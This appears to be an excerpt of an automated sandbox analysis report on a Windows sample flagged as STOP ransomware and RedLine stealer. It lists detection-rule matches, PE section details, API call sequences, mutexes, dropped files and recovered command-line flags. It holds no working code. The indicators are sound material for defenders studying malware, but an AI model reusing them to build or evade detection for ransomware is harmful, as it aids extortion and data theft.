Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.1543623242.000000000216F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000011.00000002.1699513573.0000000002168000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.1618956623.00000000021EF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.1512672920.00000000022FD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7328, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7552, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7636, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7664, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 8156, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 4912, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7224, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 1152, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: lgYdZ.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: lgYdZ.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: lgYdZ.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: NTUSER.DAT.11.dr

Binary string: {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineouttopo/00010001|\Device\HarddiskVolume3\Program Files\Mozilla Firefox\firefox.exe%b{00000000-0000-0000-0000-000000000000}

Source: classification engine

Classification label: mal100.rans.spre.troj.evad.winEXE@35/470@5/3

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

4_2_00411900

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Code function: 1_2_002E119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_002E119F

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_022047C6 CreateToolhelp32Snapshot,Module32First,

0_2_022047C6

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

4_2_0040D240

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\k1[1].rar

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7344
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1868:120:WilError_03

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

File created: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\401a29f4.bat" "

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: cujodig	0_2_00403860
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: 0m@	0_2_00406C80
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: --Admin	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: IsAutoStart	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: IsTask	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: --ForNetRes	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: IsAutoStart	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: IsTask	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: --Task	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: --AutoStart	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: --Service	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: X1P	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: --Admin	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: runas	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: x2Q	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: x*P	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: C:\Windows\	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: D:\Windows\	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: 7P	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: %username%	4_2_00419F90
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Command line argument: F:\	4_2_00419F90

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wctFF6F.tmp.11.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wctFF6F.tmp.11.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wctFF6F.tmp.11.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
